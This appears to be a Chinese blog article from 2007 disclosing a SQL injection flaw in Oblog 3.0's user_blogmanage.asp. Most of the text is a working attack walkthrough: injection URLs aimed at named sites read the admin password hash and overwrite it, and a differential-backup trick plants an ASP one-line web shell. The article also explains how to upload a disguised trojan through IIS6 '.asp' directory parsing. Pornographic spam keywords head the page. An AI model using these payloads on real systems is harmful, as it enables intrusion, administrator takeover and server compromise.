欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

O-blog漏洞暴光

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
ps:郁悶納,一個(gè)整形變量,為什么不做一強(qiáng)制轉(zhuǎn)換呢! 

     看過第六輪黑防實(shí)驗(yàn)室的兩位大俠對Oblog3.0 Access版本的滲透過程,敬佩之情猶如滔滔江水連綿不絕,又如黃河之水一發(fā)而不可收拾,尤其是他們把社會(huì)工程學(xué)原理利用得淋漓盡致,以及巧妙的后臺(tái)上傳shell的方法。佩服,佩服。說了這么多廢話,我們進(jìn)入正題,本人在通讀Oblog3.0代碼的時(shí)候發(fā)現(xiàn)user_blogmanage.asp文件存在安全隱患,看看下面移動(dòng)blog日志的操作代碼: 
sub moveblog() 
if id="" then 
Oblog.adderrstr("請指定要移動(dòng)的日志") 
Oblog.showusererr 
exit sub 
end if 
dim subjectid 
subjectid=trim(request("subject")) 
if subjectid="" then 
Oblog.adderrstr("請指定要移動(dòng)的目標(biāo)專題") 
Oblog.showusererr 
exit sub 
else 
subjectid=Clng(subjectid) 
end if 
if instr(id,",")>0 then 
‘如果id變量中含有逗號,去掉變量中的空格,執(zhí)行下面的sql語句。設(shè)為第一條 
id=replace(id," ","") 
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql 
‘否則執(zhí)行這個(gè)sql語句,設(shè)為第二條。 
else 
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql 
end if 
Oblog.Execute sql 
dim blog,rs1 
set blog=new class_blog 
blog.userid=Oblog.logined_uid 
blog.update_allsubjectid() 
blog.update_index_subject 0,0,0,"" 
set blog=nothing 
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid) 
while not rs.eof 
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0)) 
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0)) 
rs.movenext 
wend 
set rs=nothing 
set rs1=nothing 
Oblog.showok "更新專題成功,需要重新發(fā)布首頁,才可使專題統(tǒng)計(jì)準(zhǔn)確!","" 
end sub 

再看看文件最上面對id變量的過濾:id=Oblog.filt_badstr(trim(Request("id"))),只用了這條語句,函數(shù)代碼如下: 
public function filt_badstr(str) 
If Isnull(Str) Then 
filt_badstr = "" 
Exit Function  
End If 
Str = Replace(Str,Chr(0),"") 
filt_badstr = Replace(Str,"'","''") 
end function 
只去掉了\0和單引號,呵呵,這怎能阻止我們的注入攻擊呢,找個(gè)使用Oblog3.0 SQL版本的站點(diǎn)牛刀小試一下:構(gòu)造環(huán)境測試語句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意語句最后面的”'”,否則不會(huì)成功的。 
以上注入我們選擇的是第一條語句,多了限制條件,就是不能使用空格且提交的語句中要含有逗號。我們可以使用/**/來代替空格。由于限制條件多,以下測試中我們控制程序執(zhí)行第二條語句。進(jìn)一步環(huán)境刺探: 
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。 
嘿嘿,測試成功,由于注入語句中不能包含單引號,身經(jīng)百戰(zhàn)的我們當(dāng)然很容易饒過這條限制,我喜歡使用SQL中的char函數(shù)饒過,正好手頭有研究動(dòng)易系統(tǒng)時(shí)寫的char編碼工具,先看看Oblog數(shù)據(jù)庫的表結(jié)構(gòu),在Oblog_admin表中我們感興趣的只有id,username和password字段,先暴出admin用戶或者id唯一的管理員賬號的密碼來瞧瞧: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))-- 
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是對提交的admin使用char函數(shù)的編碼。返回結(jié)果。 
我們先記下這個(gè)加密的字符串,在恢復(fù)管理員密碼的時(shí)候需要再次使用。修改后臺(tái)管理員的密碼: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1-- 
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)% 2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63) %2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) 是469e80d32c0559f8字符串的編碼,469e80d32c0559f8對應(yīng)的md5明文為admin888,對字符串的編碼可以使用如下的工具。 
當(dāng)然大家也一定都有比著更好的工具。這樣我們就將后臺(tái)id為1的管理員的密碼修改為admin888了,注意id為1的管理員對應(yīng)的賬號默認(rèn)為admin如果你不確定,可以使用如下的語句查看: 
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)— 
修改完畢,登錄一下后臺(tái)看看是否成功修改管理員密碼。good,我們已經(jīng)拿到了后臺(tái)管理權(quán)限了,爽哉。不要高興的太早了,雖然我們進(jìn)入了后臺(tái)但是SQL版本不同于Access版本,前期兩位大俠介紹的通過備份數(shù)據(jù)庫獲取WebShell的方法在SQL版本上是行不通的,看看 admin_database.asp的如下代碼大家就明白了: 
dim dbpath 
dim ObjInstalled 
if not IsObject(conn) then link_database 
if is_sqldata=0 then dbpath=server.mappath(db) 
如果使用的是Access版本才初始化dbpath參數(shù)的。 
在這里我給大家介紹幾種SQL版本獲取WebShell的方法。 
先說說第一種比較通用的方法吧,利用SQL SERVER的特性,方法有通過xp_cmdshell,利用OLE對象接口,利用sp_makeWebtask,通過增量備份等等的方法。利用這些方法的一個(gè)必要的條件:Web物理路徑我們可以從后臺(tái)的管理首頁中輕松獲取。關(guān)于具體注入語句大家可以參看uploadshell.exe中的相關(guān)代碼。在實(shí)現(xiàn)中注意處理掉其中的單引號。程序可以自動(dòng)獲取IE中的cookie信息。故無須填寫cookie信息。 
關(guān)于利用后臺(tái)功能上傳shell,確實(shí)把我難為了半天,想得頭都大了,剛開始方法是天使娃娃他們的想法是一樣的添加個(gè)shtm上傳文件類型,將conn.asp包含進(jìn)去,這樣只能看到數(shù)據(jù)庫連接信息,如果對方裝有防火墻或者權(quán)限不很高的話也不能獲取shell,后來就想出添加aaspsp/和asp/上傳文件類型,這樣通過修改數(shù)據(jù)包提示上傳成功,但是卻沒有真的上傳成功了,很是郁悶。假期期間,也沒有那么多時(shí)間去查找原因了,這時(shí)候忽然看到了在后臺(tái)可以設(shè)置用戶目錄的,這時(shí)候突然記得網(wǎng)上曾經(jīng)流傳著對于windows2003系統(tǒng)和IIS6.0假設(shè)的Web平臺(tái)有個(gè)特性,就是**.asp虛擬目錄下的任何擴(kuò)展名的文件都會(huì)被作為asp文件被解釋執(zhí)行的,想到這里差點(diǎn)興奮的跳起來,嘿嘿。請看操作:在后臺(tái)常規(guī)設(shè)置|用戶目錄管理中新建一個(gè)**.asp的目錄。并將這個(gè)目錄設(shè)置成為默認(rèn)的目錄,如上圖所示。然后到網(wǎng)站去注冊一個(gè)新的用戶,然后進(jìn)入管理中心,選擇相冊,上傳一個(gè)asp木馬的假gif文件。這樣當(dāng)我們訪問這個(gè)gif文件的時(shí)候IIS會(huì)將此文件作為asp文件解析,我在本機(jī)使用Access版本做了測試發(fā)現(xiàn)能夠把文件上傳上去。但是在對SQL版本測試時(shí)發(fā)現(xiàn)并不能正確上傳文件到這個(gè)目錄的,出現(xiàn)如下的錯(cuò)誤信息: 
ADODB.Stream 錯(cuò)誤 '800a0bbc'  
寫入文件失敗。  
/inc/Upload.inc,行 312  
雖然不能成功,但這卻是我們后臺(tái)上傳木馬的好方法,因?yàn)榇蟛糠謅sp整站程序在后臺(tái)都允許后臺(tái)修改上傳目錄的,比如動(dòng)易系統(tǒng)等。沒辦法,我們只能使用第一種方法了,開工。 
第一步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s-- 
注意了,在語句中一定不能含有單引號的, 
第二步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])— 
第三步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)— 
注意其中0x3C25657865637574652872657175657374282261222929253E為 
第四步: 
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL— 
其中的 0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000 是在后臺(tái)得到的Web的物理路徑。 

利用增量備份只需要public的權(quán)限,應(yīng)該是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感覺操作很復(fù)雜,那就不需要上傳WebShell了,進(jìn)后臺(tái)把自己的賬號修改為VIP用戶,或者將上傳空間修改為100000000KB,把blog當(dāng)作一個(gè)網(wǎng)絡(luò)優(yōu)盤也不錯(cuò)的,呵呵。由于Oblog在互聯(lián)網(wǎng)上的風(fēng)靡,漏洞危害性很大,大家不要亂搞破壞哦。  

相關(guān)文章

最新評論